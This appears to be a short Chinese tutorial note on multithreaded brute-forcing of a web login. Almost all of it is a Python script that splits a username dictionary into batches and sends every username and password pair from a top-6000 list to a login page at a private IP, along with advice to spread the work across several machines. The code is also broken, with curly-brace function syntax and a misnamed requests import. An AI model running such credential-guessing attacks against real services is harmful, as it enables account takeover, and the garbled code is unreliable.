目录
多线程分任务爆破
import hashlib, time, request
import threading
def ws_thread_10(sublist){
with open('../dict/password-top6000.txt') as file:
pw_list = file.readlines()
url = 'http://192.168.122.130/login'
for username in sublist:
for password in pw_list:
data = {'username':username.strip(),'password':password.strip(),'verifycode':'0000'}
resp=request.post(url=url,data=data)
if 'login-fail' not in resp.text:
print(f"疑似破解成功,账号为:{username.strip()},密码为:{password.strip()}")
exit()
}
if __name__ =='__main__':
with open('../dict/username-top500.txt') as file:
user_list = file.readlines();
for i in range(0,len(user_list),10):
sublist = user_list[i:i+10]
threading.Thread(target = ws_thread_10,args=(sublist,)).start()
补充:
一个进程的线程数量有限,如何能够提升并发能力?将任务分配给多个不同的电脑, 或在一台电脑上运行多个程序。